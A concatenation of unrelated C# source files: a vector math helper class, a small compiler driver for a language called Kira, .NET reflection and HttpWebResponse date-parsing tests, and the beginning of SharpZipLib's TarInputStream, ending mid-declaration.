/// <summary> /// Returns a decvec4 from component-wise application of Div (lhs / rhs). /// </summary> public static decvec4 Div(decvec4 lhs, decvec4 rhs) => decvec4.Div(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Modulo (lhs % rhs). /// </summary> public static decvec4 Modulo(decvec4 lhs, decvec4 rhs) => decvec4.Modulo(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Degrees (Radians-To-Degrees Conversion). /// </summary> public static decvec4 Degrees(decvec4 v) => decvec4.Degrees(v); /// <summary> /// Returns a decvec4 from component-wise application of Radians (Degrees-To-Radians Conversion). /// </summary> public static decvec4 Radians(decvec4 v) => decvec4.Radians(v); /// <summary> /// Returns a decvec4 from component-wise application of Acos ((decimal)Math.Acos((double)v)). /// </summary> public static decvec4 Acos(decvec4 v) => decvec4.Acos(v); /// <summary> /// Returns a decvec4 from component-wise application of Asin ((decimal)Math.Asin((double)v)). /// </summary> public static decvec4 Asin(decvec4 v) => decvec4.Asin(v); /// <summary> /// Returns a decvec4 from component-wise application of Atan ((decimal)Math.Atan((double)v)). /// </summary> public static decvec4 Atan(decvec4 v) => decvec4.Atan(v); /// <summary> /// Returns a decvec4 from component-wise application of Cos ((decimal)Math.Cos((double)v)). /// </summary> public static decvec4 Cos(decvec4 v) => decvec4.Cos(v); /// <summary> /// Returns a decvec4 from component-wise application of Cosh ((decimal)Math.Cosh((double)v)). /// </summary> public static decvec4 Cosh(decvec4 v) => decvec4.Cosh(v); /// <summary> /// Returns a decvec4 from component-wise application of Exp ((decimal)Math.Exp((double)v)). /// </summary> public static decvec4 Exp(decvec4 v) => decvec4.Exp(v); /// <summary> /// Returns a decvec4 from component-wise application of Log ((decimal)Math.Log((double)v)). /// </summary> public static decvec4 Log(decvec4 v) => decvec4.Log(v); /// <summary> /// Returns a decvec4 from component-wise application of Log2 ((decimal)Math.Log((double)v, 2)). /// </summary> public static decvec4 Log2(decvec4 v) => decvec4.Log2(v); /// <summary> /// Returns a decvec4 from component-wise application of Log10 ((decimal)Math.Log10((double)v)). /// </summary> public static decvec4 Log10(decvec4 v) => decvec4.Log10(v); /// <summary> /// Returns a decvec4 from component-wise application of Floor ((decimal)Math.Floor(v)). /// </summary> public static decvec4 Floor(decvec4 v) => decvec4.Floor(v); /// <summary> /// Returns a decvec4 from component-wise application of Ceiling ((decimal)Math.Ceiling(v)). /// </summary> public static decvec4 Ceiling(decvec4 v) => decvec4.Ceiling(v); /// <summary> /// Returns a decvec4 from component-wise application of Round ((decimal)Math.Round(v)). /// </summary> public static decvec4 Round(decvec4 v) => decvec4.Round(v); /// <summary> /// Returns a decvec4 from component-wise application of Sin ((decimal)Math.Sin((double)v)). /// </summary> public static decvec4 Sin(decvec4 v) => decvec4.Sin(v); /// <summary> /// Returns a decvec4 from component-wise application of Sinh ((decimal)Math.Sinh((double)v)). /// </summary> public static decvec4 Sinh(decvec4 v) => decvec4.Sinh(v); /// <summary> /// Returns a decvec4 from component-wise application of Tan ((decimal)Math.Tan((double)v)). /// </summary> public static decvec4 Tan(decvec4 v) => decvec4.Tan(v); /// <summary> /// Returns a decvec4 from component-wise application of Tanh ((decimal)Math.Tanh((double)v)). /// </summary> public static decvec4 Tanh(decvec4 v) => decvec4.Tanh(v); /// <summary> /// Returns a decvec4 from component-wise application of Truncate ((decimal)Math.Truncate((double)v)). /// </summary> public static decvec4 Truncate(decvec4 v) => decvec4.Truncate(v); /// <summary> /// Returns a decvec4 from component-wise application of Fract ((decimal)(v - Math.Floor(v))). /// </summary> public static decvec4 Fract(decvec4 v) => decvec4.Fract(v); /// <summary> /// Returns a decvec4 from component-wise application of Trunc ((long)(v)). /// </summary> public static decvec4 Trunc(decvec4 v) => decvec4.Trunc(v); /// <summary> /// Returns the minimal component of this vector. /// </summary> public static decimal MinElement(decvec4 v) => v.MinElement; /// <summary> /// Returns the maximal component of this vector. /// </summary> public static decimal MaxElement(decvec4 v) => v.MaxElement; /// <summary> /// Returns the euclidean length of this vector. /// </summary> public static decimal Length(decvec4 v) => v.Length; /// <summary> /// Returns the squared euclidean length of this vector. /// </summary> public static decimal LengthSqr(decvec4 v) => v.LengthSqr; /// <summary> /// Returns the sum of all components. /// </summary> public static decimal Sum(decvec4 v) => v.Sum; /// <summary> /// Returns the euclidean norm of this vector. /// </summary> public static decimal Norm(decvec4 v) => v.Norm; /// <summary> /// Returns the one-norm of this vector. /// </summary> public static decimal Norm1(decvec4 v) => v.Norm1; /// <summary> /// Returns the two-norm (euclidean length) of this vector. /// </summary> public static decimal Norm2(decvec4 v) => v.Norm2; /// <summary> /// Returns the max-norm of this vector. /// </summary> public static decimal NormMax(decvec4 v) => v.NormMax; /// <summary> /// Returns the p-norm of this vector. /// </summary> public static double NormP(decvec4 v, double p) => v.NormP(p); /// <summary> /// Returns a copy of this vector with length one (undefined if this has zero length). /// </summary> public static decvec4 Normalized(decvec4 v) => v.Normalized; /// <summary> /// Returns a copy of this vector with length one (returns zero if length is zero). /// </summary> public static decvec4 NormalizedSafe(decvec4 v) => v.NormalizedSafe; /// <summary> /// Returns the inner product (dot product, scalar product) of the two vectors. /// </summary> public static decimal Dot(decvec4 lhs, decvec4 rhs) => decvec4.Dot(lhs, rhs); /// <summary> /// Returns the euclidean distance between the two vectors. /// </summary> public static decimal Distance(decvec4 lhs, decvec4 rhs) => decvec4.Distance(lhs, rhs); /// <summary> /// Returns the squared euclidean distance between the two vectors. /// </summary> public static decimal DistanceSqr(decvec4 lhs, decvec4 rhs) => decvec4.DistanceSqr(lhs, rhs); /// <summary> /// Calculate the reflection direction for an incident vector (N should be normalized in order to achieve the desired result). /// </summary> public static decvec4 Reflect(decvec4 I, decvec4 N) => decvec4.Reflect(I, N); /// <summary> /// Calculate the refraction direction for an incident vector (The input parameters I and N should be normalized in order to achieve the desired result). /// </summary> public static decvec4 Refract(decvec4 I, decvec4 N, decimal eta) => decvec4.Refract(I, N, eta); /// <summary> /// Returns a vector pointing in the same direction as another (faceforward orients a vector to point away from a surface as defined by its normal. If dot(Nref, I) is negative faceforward returns N, otherwise it returns -N). /// </summary> public static decvec4 FaceForward(decvec4 N, decvec4 I, decvec4 Nref) => decvec4.FaceForward(N, I, Nref); /// <summary> /// Returns a decvec4 with independent and identically distributed uniform values between 'minValue' and 'maxValue'. /// </summary> public static decvec4 Random(Random random, decvec4 minValue, decvec4 maxValue) => decvec4.Random(random, minValue, maxValue); /// <summary> /// Returns a decvec4 with independent and identically distributed uniform values between 'minValue' and 'maxValue'. /// </summary> public static decvec4 RandomUniform(Random random, decvec4 minValue, decvec4 maxValue) => decvec4.RandomUniform(random, minValue, maxValue); /// <summary> /// Returns a decvec4 with independent and identically distributed values according to a normal/Gaussian distribution with specified mean and variance. /// </summary> public static decvec4 RandomNormal(Random random, decvec4 mean, decvec4 variance) => decvec4.RandomNormal(random, mean, variance); /// <summary> /// Returns a decvec4 with independent and identically distributed values according to a normal/Gaussian distribution with specified mean and variance. /// </summary> public static decvec4 RandomGaussian(Random random, decvec4 mean, decvec4 variance) => decvec4.RandomGaussian(random, mean, variance); } }
using System; using System.Collections.Generic; using System.Text; using System.IO; namespace NotJavaScript { class Chunky { public string NamespaceDestination = ".\\"; public string[] Binds; public bool NoEpicFail = false; public Chunky() { Binds = new string[0]; NoEpicFail = false; if (!File.Exists("kira.make")) { Console.WriteLine("Could not find file 'kira.make'"); } else { StreamReader config = new StreamReader("kira.make"); string l = config.ReadLine(); while (l != null) { OnConfigLine(l); l = config.ReadLine(); } config.Close(); } } public void OnKeyPair(string k, string v) { if (k.Equals("noepicfail")) { NoEpicFail = v.ToLower().Trim().Equals("true"); } if (k.Equals("path")) { if (!Directory.Exists(v)) { Directory.CreateDirectory(v); } NamespaceDestination = v; if (NamespaceDestination[NamespaceDestination.Length - 1] != '\\') { NamespaceDestination += '\\'; } } } public void MapFile(string z) { if (File.Exists(z)) { string[] x = new string[Binds.Length + 1]; for (int k = 0; k < Binds.Length; k++) { x[k] = Binds[k]; } x[Binds.Length] = z.Trim().ToLower(); Binds = x; } } public void OnConfigLine(string z) { if (z.IndexOf("=") < 0) { if (File.Exists(z)) { if (z.IndexOf(".kira") >= 0) { MapFile(z); } else { MassSHARD.Program.Build(NamespaceDestination, z); } } else if (File.Exists(z + ".kira")) { MapFile(z + ".kira"); } else if (File.Exists(z + ".mass")) { MassSHARD.Program.Build(NamespaceDestination, z + ".mass"); } } else { int k = z.IndexOf("="); string var = z.Substring(0, k).Trim().ToLower(); string val = z.Substring(k + 1).Trim(); OnKeyPair(var, val); } } } class Chunk { private List<Tree.GlobalDecl> G; private string Name; public Chunk(string f, Chunky settings) { Name = f.ToLower(); if (Name.LastIndexOf(".") >= 0) { Name = Name.Substring(0, Name.IndexOf(".")); } string code = Tree.PoolCompiler.ReadPool(f); code = Prepare.PrepareFile(code, new IgnoreComments()); G = Tree.PoolCompiler.BuildPool(code); // Build Namespace setting StreamWriter nsF = new StreamWriter(settings.NamespaceDestination + Name + ".namespace.kira"); Tree.PoolCompiler.CompileNamespaceDeclare(G, Name, nsF); nsF.Flush(); nsF.Close(); } public void Build(Chunky settings) { if (settings.NoEpicFail) { try { Tree.PoolCompiler.Compile(G, settings, Name, settings.NamespaceDestination + Name + ".library.php", settings.NamespaceDestination + Name + ".driver.php", settings.NamespaceDestination + Name + ".remote.js", settings.NamespaceDestination + Name + ".testing.php"); } catch (Exception z) { string gauh = z.ToString(); Console.Error.WriteLine("<--" + Name); } } else { Tree.PoolCompiler.Compile(G, settings, Name, settings.NamespaceDestination + Name + ".library.php", settings.NamespaceDestination + Name + ".driver.php", settings.NamespaceDestination + Name + ".remote.js", settings.NamespaceDestination + Name + ".testing.php"); } } } class Program { static void Main(string[] args) { Console.WriteLine("Kira 1.0"); Console.WriteLine("-----------"); //print 123; print \"Hi Jeffrey\"; int x = 123; print x; x = 623; x // // string code = "{ Object b = { jeff : 123 }; Object z = {x : function unit () { return b; } }; b.jeff = 69; print z.x().jeff; }"; //int a = 1; int b = 2; string c = \"Jeff\"; print (a - b * 3 / 2) @ c; //int z = 123; int -> int k = function(int x) { print z; return x; }; z = k(69); print z; try { Chunky Z = new Chunky(); Chunk[] C = new Chunk[args.Length + Z.Binds.Length]; for (int k = 0; k < args.Length; k++) { C[k] = new Chunk(args[k], Z); } for (int k = 0; k < Z.Binds.Length; k++) { C[k + args.Length] = new Chunk(Z.Binds[k], Z); } for (int k = 0; k < C.Length; k++) { C[k].Build(Z); } if (C.Length == 0) { Console.WriteLine("I have done nothing"); } } catch (Exception e) { Console.Error.WriteLine("-----------"); Console.Error.WriteLine("epic fail"); Console.Error.WriteLine(e.ToString()); } /* string code = Tree.PoolCompiler.ReadPool("e:\\debug.njs"); List<Tree.GlobalDecl> G = Tree.PoolCompiler.BuildPool(code); */ //Tree.PoolCompiler.Compile(G,"c:\\xampplite\\htdocs\\njs\\index.php"); //P.file(); /* P.block()._PhpOf(Gamma, S); string E = S.ToString(); StreamWriter sw = new StreamWriter("c:\\xampplite\\htdocs\\njs\\index.php"); sw.WriteLine("<?"); Gamma.DumpHeader(sw); sw.Write(""+E+""); sw.WriteLine("?>"); sw.Flush(); sw.Close(); */ } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Globalization; using System.Reflection; using System.Runtime.CompilerServices; public class ReflectionTest { const int Pass = 100; const int Fail = -1; public static int Main() { CultureInfo.CurrentCulture = CultureInfo.InvariantCulture; if (TestNames() == Fail) return Fail; if (TestUnification() == Fail) return Fail; if (TestTypeOf() == Fail) return Fail; if (TestGenericComposition() == Fail) return Fail; if (TestReflectionInvoke() == Fail) return Fail; if (TestReflectionFieldAccess() == Fail) return Fail; return Pass; } private static int TestNames() { string hello = "Hello"; Type stringType = hello.GetType(); if (stringType.FullName != "System.String") { Console.WriteLine("Bad name"); return Fail; } return Pass; } private static int TestUnification() { Console.WriteLine("Testing unification"); // ReflectionTest type doesn't have an EEType and is metadata only. Type programType = Type.GetType("ReflectionTest"); TypeInfo programTypeInfo = programType.GetTypeInfo(); Type programBaseType = programTypeInfo.BaseType; Type objectType = (new Object()).GetType(); if (!objectType.Equals(programBaseType)) { Console.WriteLine("Unification failed"); return Fail; } return Pass; } private static int TestTypeOf() { Console.WriteLine("Testing typeof()"); Type intType = typeof(int); if (intType.FullName != "System.Int32") { Console.WriteLine("Bad name"); return Fail; } if (12.GetType() != typeof(int)) { Console.WriteLine("Bad compare"); return Fail; } // This type only has a limited EEType (without a vtable) because it's not constructed. if (typeof(UnallocatedType).FullName != "UnallocatedType") { return Fail; } if (typeof(int) != typeof(int)) { Console.WriteLine("Bad compare"); return Fail; } return Pass; } private static int TestGenericComposition() { Console.WriteLine("Testing generic composition"); Type nullableOfIntType = typeof(int?); string fullName = nullableOfIntType.FullName; if (fullName.Contains("System.Nullable`1") && fullName.Contains("System.Int32")) return Pass; return Fail; } internal class InvokeTests { [MethodImpl(MethodImplOptions.NoInlining)] public static string GetHello(string name) { return "Hello " + name; } [MethodImpl(MethodImplOptions.NoInlining)] public static void GetHelloByRef(string name, out string result) { result = "Hello " + name; } [MethodImpl(MethodImplOptions.NoInlining)] public static string GetHelloGeneric<T>(T obj) { return "Hello " + obj; } } private static int TestReflectionInvoke() { Console.WriteLine("Testing reflection invoke"); // Dummy code to make sure the reflection targets are compiled. if (String.Empty.Length > 0) { new InvokeTests().ToString(); InvokeTests.GetHello(null); InvokeTests.GetHelloGeneric<int>(0); InvokeTests.GetHelloGeneric<double>(0); string unused; InvokeTests.GetHelloByRef(null, out unused); unused.ToString(); } { MethodInfo helloMethod = typeof(InvokeTests).GetTypeInfo().GetDeclaredMethod("GetHello"); string result = (string)helloMethod.Invoke(null, new object[] { "world" }); if (result != "Hello world") return Fail; } { MethodInfo helloGenericMethod = typeof(InvokeTests).GetTypeInfo().GetDeclaredMethod("GetHelloGeneric").MakeGenericMethod(typeof(int)); string result = (string)helloGenericMethod.Invoke(null, new object[] { 12345 }); if (result != "Hello 12345") return Fail; } { MethodInfo helloGenericMethod = typeof(InvokeTests).GetTypeInfo().GetDeclaredMethod("GetHelloGeneric").MakeGenericMethod(typeof(double)); string result = (string)helloGenericMethod.Invoke(null, new object[] { 3.14 }); if (result != "Hello 3.14") return Fail; } { MethodInfo helloByRefMethod = typeof(InvokeTests).GetTypeInfo().GetDeclaredMethod("GetHelloByRef"); object[] args = new object[] { "world", null }; helloByRefMethod.Invoke(null, args); if ((string)args[1] != "Hello world") return Fail; } return Pass; } public class FieldInvokeSample { public String InstanceField; } private static int TestReflectionFieldAccess() { Console.WriteLine("Testing reflection field access"); if (string.Empty.Length > 0) { new FieldInvokeSample().ToString(); } TypeInfo ti = typeof(FieldInvokeSample).GetTypeInfo(); { FieldInfo instanceField = ti.GetDeclaredField("InstanceField"); FieldInvokeSample obj = new FieldInvokeSample(); String value = (String)(instanceField.GetValue(obj)); if (value != null) return Fail; obj.InstanceField = "Hi!"; value = (String)(instanceField.GetValue(obj)); if (value != "Hi!") return Fail; instanceField.SetValue(obj, "Bye!"); if (obj.InstanceField != "Bye!") return Fail; value = (String)(instanceField.GetValue(obj)); if (value != "Bye!") return Fail; return Pass; } } } class UnallocatedType { }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Net.Http; using System.Net.Test.Common; using System.Threading.Tasks; using Xunit; namespace System.Net.Tests { public class HttpWebResponseTest { public static IEnumerable<object[]> Dates_ReadValue_Data() { var zero_formats = new[] { // RFC1123 "R", // RFC1123 - UTC "ddd, dd MMM yyyy HH:mm:ss 'UTC'", // RFC850 "dddd, dd-MMM-yy HH:mm:ss 'GMT'", // RFC850 - UTC "dddd, dd-MMM-yy HH:mm:ss 'UTC'", // ANSI "ddd MMM d HH:mm:ss yyyy", }; var offset_formats = new[] { // RFC1123 - Offset "ddd, dd MMM yyyy HH:mm:ss zzz", // RFC850 - Offset "dddd, dd-MMM-yy HH:mm:ss zzz", }; var dates = new[] { new DateTimeOffset(2018, 1, 1, 12, 1, 14, TimeSpan.Zero), new DateTimeOffset(2018, 1, 3, 15, 0, 0, TimeSpan.Zero), new DateTimeOffset(2015, 5, 6, 20, 45, 38, TimeSpan.Zero), }; foreach (var date in dates) { var expected = date.LocalDateTime; foreach (var format in zero_formats.Concat(offset_formats)) { var formatted = date.ToString(format, CultureInfo.InvariantCulture); yield return new object[] { formatted, expected }; } } foreach (var format in offset_formats) { foreach (var date in dates.SelectMany(d => new[] { d.ToOffset(TimeSpan.FromHours(5)), d.ToOffset(TimeSpan.FromHours(-5)) })) { var formatted = date.ToString(format, CultureInfo.InvariantCulture); var expected = date.LocalDateTime; yield return new object[] { formatted, expected }; yield return new object[] { formatted.ToLowerInvariant(), expected }; } } } public static IEnumerable<object[]> Dates_Always_Invalid_Data() { yield return new object[] { "not a valid date here" }; yield return new object[] { "Sun, 32 Nov 2018 16:33:01 GMT" }; yield return new object[] { "Sun, 25 Car 2018 16:33:01 UTC" }; yield return new object[] { "Sun, 25 Nov 1234567890 33:77:80 GMT" }; yield return new object[] { "Sun, 25 Nov 2018 55:33:01+05:00" }; yield return new object[] { "Sunday, 25-Nov-18 16:77:01 GMT" }; yield return new object[] { "Sunday, 25-Nov-18 16:33:65 UTC" }; yield return new object[] { "Broken, 25-Nov-18 21:33:01+05:00" }; yield return new object[] { "Always Nov 25 21:33:01 2018" }; } public static IEnumerable<object[]> Dates_Now_Invalid_Data() { yield return new object[] { "not a valid date here" }; yield return new object[] { "Sun, 31 Nov 1234567890 33:77:80 GMT" }; // Sat/Saturday is invalid, because 2018/3/25 is Sun/Sunday... yield return new object[] { "Sat, 25 Mar 2018 16:33:01 GMT" }; yield return new object[] { "Sat, 25 Mar 2018 16:33:01 UTC" }; yield return new object[] { "Sat, 25 Mar 2018 21:33:01+05:00" }; yield return new object[] { "Saturday, 25-Mar-18 16:33:01 GMT" }; yield return new object[] { "Saturday, 25-Mar-18 16:33:01 UTC" }; yield return new object[] { "Saturday, 25-Mar-18 21:33:01+05:00" }; yield return new object[] { "Sat Mar 25 21:33:01 2018" }; // Invalid day-of-week values yield return new object[] { "Sue, 25 Nov 2018 16:33:01 GMT" }; yield return new object[] { "Sue, 25 Nov 2018 16:33:01 UTC" }; yield return new object[] { "Sue, 25 Nov 2018 21:33:01+05:00" }; yield return new object[] { "Surprise, 25-Nov-18 16:33:01 GMT" }; yield return new object[] { "Surprise, 25-Nov-18 16:33:01 UTC" }; yield return new object[] { "Surprise, 25-Nov-18 21:33:01+05:00" }; yield return new object[] { "Sue Nov 25 21:33:01 2018" }; // Invalid month values yield return new object[] { "Sun, 25 Not 2018 16:33:01 GMT" }; yield return new object[] { "Sun, 25 Not 2018 16:33:01 UTC" }; yield return new object[] { "Sun, 25 Not 2018 21:33:01+05:00" }; yield return new object[] { "Sunday, 25-Not-18 16:33:01 GMT" }; yield return new object[] { "Sunday, 25-Not-18 16:33:01 UTC" }; yield return new object[] { "Sunday, 25-Not-18 21:33:01+05:00" }; yield return new object[] { "Sun Not 25 21:33:01 2018" }; // Strange separators yield return new object[] { "Sun? 25 Nov 2018 16:33:01 GMT" }; yield return new object[] { "Sun, 25*Nov 2018 16:33:01 UTC" }; yield return new object[] { "Sun, 25 Nov{2018 21:33:01+05:00" }; yield return new object[] { "Sunday, 25-Nov-18]16:33:01 GMT" }; yield return new object[] { "Sunday, 25-Nov-18 16/33:01 UTC" }; yield return new object[] { "Sunday, 25-Nov-18 21:33|01+05:00" }; yield return new object[] { "Sun=Not 25 21:33:01 2018" }; } [Theory] [MemberData(nameof(Dates_ReadValue_Data))] public async Task LastModified_ReadValue(string raw, DateTime expected) { await LoopbackServer.CreateServerAsync(async (server, url) => { HttpWebRequest request = WebRequest.CreateHttp(url); request.Method = HttpMethod.Get.Method; Task<WebResponse> getResponse = request.GetResponseAsync(); await server.AcceptConnectionSendResponseAndCloseAsync(HttpStatusCode.OK); using (WebResponse response = await getResponse) { response.Headers.Set(HttpResponseHeader.LastModified, raw); HttpWebResponse httpResponse = Assert.IsType<HttpWebResponse>(response); Assert.Equal(expected, httpResponse.LastModified); } }); } [Theory] [MemberData(nameof(Dates_Always_Invalid_Data))] public async Task Date_AlwaysInvalidValue(string invalid) { await LastModified_InvalidValue(invalid); } [Theory] [MemberData(nameof(Dates_Now_Invalid_Data))] public async Task LastModified_InvalidValue(string invalid) { await LoopbackServer.CreateServerAsync(async (server, url) => { HttpWebRequest request = WebRequest.CreateHttp(url); request.Method = HttpMethod.Get.Method; Task<WebResponse> getResponse = request.GetResponseAsync(); await server.AcceptConnectionSendResponseAndCloseAsync(HttpStatusCode.OK); using (WebResponse response = await getResponse) { response.Headers.Set(HttpResponseHeader.LastModified, invalid); HttpWebResponse httpResponse = Assert.IsType<HttpWebResponse>(response); Assert.Throws<ProtocolViolationException>(() => httpResponse.LastModified); } }); } [Fact] public async Task LastModified_NotPresent() { await LoopbackServer.CreateServerAsync(async (server, url) => { HttpWebRequest request = WebRequest.CreateHttp(url); request.Method = HttpMethod.Get.Method; Task<WebResponse> getResponse = request.GetResponseAsync(); await server.AcceptConnectionSendResponseAndCloseAsync(HttpStatusCode.OK); using (WebResponse response = await getResponse) { HttpWebResponse httpResponse = Assert.IsType<HttpWebResponse>(response); DateTime lower = DateTime.Now; DateTime firstCaptured = httpResponse.LastModified; DateTime middle = DateTime.Now; Assert.InRange(firstCaptured, lower, middle); await Task.Delay(10); DateTime secondCaptured = httpResponse.LastModified; DateTime upper = DateTime.Now; Assert.InRange(secondCaptured, middle, upper); Assert.NotEqual(firstCaptured, secondCaptured); } }); } [Theory] [InlineData("text/html")] [InlineData("text/html; charset=utf-8")] [InlineData("TypeAndNoSubType")] public async Task ContentType_ServerResponseHasContentTypeHeader_ContentTypeReceivedCorrectly(string expectedContentType) { await LoopbackServer.CreateServerAsync(async (server, url) => { HttpWebRequest request = WebRequest.CreateHttp(url); request.Method = HttpMethod.Get.Method; Task<WebResponse> getResponse = request.GetResponseAsync(); await server.AcceptConnectionSendResponseAndCloseAsync(HttpStatusCode.OK, $"Content-Type: {expectedContentType}\r\n", "12345"); using (WebResponse response = await getResponse) { Assert.Equal(expectedContentType, response.ContentType); } }); } [Fact] public async Task ContentType_ServerResponseMissingContentTypeHeader_ContentTypeIsEmptyString() { await LoopbackServer.CreateServerAsync(async (server, url) => { HttpWebRequest request = WebRequest.CreateHttp(url); request.Method = HttpMethod.Get.Method; Task<WebResponse> getResponse = request.GetResponseAsync(); await server.AcceptConnectionSendResponseAndCloseAsync(content: "12345"); using (WebResponse response = await getResponse) { Assert.Equal(string.Empty, response.ContentType); } }); } } }
// TarInputStream.cs // // Copyright (C) 2001 Mike Krueger // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Linking this library statically or dynamically with other modules is // making a combined work based on this library. Thus, the terms and // conditions of the GNU General Public License cover the whole // combination. // // As a special exception, the copyright holders of this library give you // permission to link this library with independent modules to produce an // executable, regardless of the license terms of these independent // modules, and to copy and distribute the resulting executable under // terms of your choice, provided that you also meet, for each linked // independent module, the terms and conditions of the license of that // module. An independent module is a module which is not derived from // or based on this library. If you modify this library, you may extend // this exception to your version of the library, but you are not // obligated to do so. If you do not wish to do so, delete this // exception statement from your version. using System; using System.IO; using System.Text; namespace ICSharpCode.SharpZipLib.Tar { /// <summary> /// The TarInputStream reads a UNIX tar archive as an InputStream. /// methods are provided to position at each successive entry in /// the archive, and the read each entry as a normal input stream /// using read(). /// </summary> public class TarInputStream : Stream { /// <summary> /// Internal debugging flag /// </summary> protected bool debug; /// <summary> /// Flag set when last block has been read /// </summary> protected bool hasHitEOF; /// <summary> /// Size of this entry as recorded in header /// </summary> protected int entrySize; /// <summary> /// Number of bytes read for this entry so far /// </summary> protected int entryOffset; /// <summary> /// Buffer used with calls to <code>Read()</code> /// </summary> protected byte[] readBuf; /// <summary> /// Working buffer /// </summary> protected TarBuffer buffer; /// <summary> /// Current entry being read /// </summary> protected TarEntry currEntry; /// <summary> /// Factory used to create TarEntry or descendant class instance /// </summary> protected IEntryFactory eFactory; Stream inputStream; /// <summary> /// Gets a value indicating whether the current stream supports reading /// </summary> public override bool CanRead { get { return inputStream.CanRead; } } /// <summary> /// Gets a value indicating whether the current stream supports seeking /// This property always returns false. /// </summary> public override bool CanSeek { get { // return inputStream.CanSeek; return false; } } /// <summary> /// Gets a value indicating if the stream supports writing. /// This property always returns false. /// </summary> public override bool CanWrite { get { // return inputStream.CanWrite; return false; } } /// <summary> /// The length in bytes of the stream /// </summary> public override long Length { get { return inputStream.Length; } } /// <summary> /// Gets or sets the position within the stream. /// Setting the Position is not supported and throws a NotSupportedExceptionNotSupportedException /// </summary> /// <exception cref="NotSupportedException">Any attempt to set position</exception> public override long Position { get { return inputStream.Position; } set { // inputStream.Position = value; throw new NotSupportedException("TarInputStream Seek not supported"); } } /// <summary> /// Flushes the baseInputStream /// </summary> public override void Flush() { inputStream.Flush(); } /// <summary> /// Set the streams position. This operation is not supported and will throw a NotSupportedException /// </summary> /// <exception cref="NotSupportedException">Any access</exception> public override long Seek(long offset, SeekOrigin origin) { // return inputStream.Seek(offset, origin); throw new NotSupportedException("TarInputStream Seek not supported"); } /// <summary> /// Sets the length of the stream /// This operation is not supported and will throw a NotSupportedException /// </summary> /// <exception cref="NotSupportedException">Any access</exception> public override void SetLength(long val) { // inputStream.SetLength(val); throw new NotSupportedException("TarInputStream SetLength not supported"); } /// <summary> /// Writes a block of bytes to this stream using data from a buffer. /// This operation is not supported and will throw a NotSupportedException /// </summary> /// <exception cref="NotSupportedException">Any access</exception> public override void Write(byte[] array, int offset, int count) { // inputStream.Write(array, offset, count); throw new NotSupportedException("TarInputStream Write not supported"); } /// <summary> /// Writes a byte to the current position in the file stream. /// This operation is not supported and will throw a NotSupportedException /// </summary> /// <exception cref="NotSupportedException">Any access</exception> public override void WriteByte(byte val) { // inputStream.WriteByte(val); throw new NotSupportedException("TarInputStream WriteByte not supported"); } /// <summary> /// Construct a TarInputStream with default block factor /// </summary> /// <param name="inputStream">stream to source data from</param> public TarInputStream(Stream inputStream) : this(inputStream, TarBuffer.DefaultBlockFactor) { } /// <summary> /// Construct a TarInputStream with user specified block factor /// </summary> /// <param name="inputStream">stream to source data from</param> /// <param name="blockFactor">block factor to apply to archive</param> public TarInputStream(Stream inputStream, int blockFactor) { this.inputStream = inputStream; this.buffer = TarBuffer.CreateInputTarBuffer(inputStream, blockFactor); this.readBuf = null; this.debug = false; this.hasHitEOF = false; this.eFactory = null; } /// <summary> /// set debug flag both locally and for buffer /// </summary> /// <param name="debugFlag">debug on or off</param> public void SetDebug(bool debugFlag) { this.debug = debugFlag; SetBufferDebug(debugFlag); } /// <summary> /// set debug flag for buffer /// </summary> /// <param name="debug">debug on or off</param> public void SetBufferDebug(bool debug) { this.buffer.SetDebug(debug); } /// <summary> /// Set the entry factory for this instance. /// </summary> /// <param name="factory">The factory for creating new entries</param> public void SetEntryFactory(IEntryFactory factory) { this.eFactory = factory; } /// <summary> /// Closes this stream. Calls the TarBuffer's close() method. /// The underlying stream is closed by the TarBuffer. /// </summary> public override void Close() { this.buffer.Close(); } /// <summary> /// Get the record size being used by this stream's TarBuffer. /// </summary> /// <returns> /// TarBuffer record size. /// </returns> public int GetRecordSize() { return this.buffer.GetRecordSize(); } /// <summary> /// Get the available data that can be read from the current /// entry in the archive. This does not indicate how much data /// is left in the entire archive, only in the current entry. /// This value is determined from the entry's size header field /// and the amount of data already read from the current entry. /// </summary> /// <returns> /// The number of available bytes for the current entry. /// </returns> public int Available { get { return this.entrySize - this.entryOffset; } } /// <summary> /// Skip bytes in the input buffer. This skips bytes in the /// current entry's data, not the entire archive, and will /// stop at the end of the current entry's data if the number /// to skip extends beyond that point. /// </summary> /// <param name="numToSkip"> /// The number of bytes to skip. /// </param> public void Skip(int numToSkip) { // TODO: REVIEW // This is horribly inefficient, but it ensures that we // properly skip over bytes via the TarBuffer... // byte[] skipBuf = new byte[8 * 1024]; for (int num = numToSkip; num > 0;) { int numRead = this.Read(skipBuf, 0, (num > skipBuf.Length ? skipBuf.Length : num)); if (numRead == -1) { break; } num -= numRead; } } /// <summary> /// Since we do not support marking just yet, we return false. /// </summary> public bool IsMarkSupported { get { return false; } } /// <summary> /// Since we do not support marking just yet, we do nothing. /// </summary> /// <param name ="markLimit"> /// The limit to mark. /// </param> public void Mark(int markLimit) { } /// <summary> /// Since we do not support marking just yet, we do nothing. /// </summary> public void Reset() { } void SkipToNextEntry() { int numToSkip = this.entrySize - this.entryOffset; if (this.debug) { //Console.WriteLine.WriteLine("TarInputStream: SKIP currENTRY '" + this.currEntry.Name + "' SZ " + this.entrySize + " OFF " + this.entryOffset + " skipping " + numToSkip + " bytes"); } if (numToSkip > 0) { this.Skip(numToSkip); } this.readBuf = null; } /// <summary> /// Get the next entry in this tar archive. This will skip /// over any remaining data in the current entry, if there /// is one, and place the input stream at the header of the /// next entry, and read the header and instantiate a new /// TarEntry from the header bytes and return that entry. /// If there are no more entries in the archive, null will /// be returned to indicate that the end of the archive has /// been reached. /// </summary> /// <returns> /// The next TarEntry in the archive, or null. /// </returns> public TarEntry 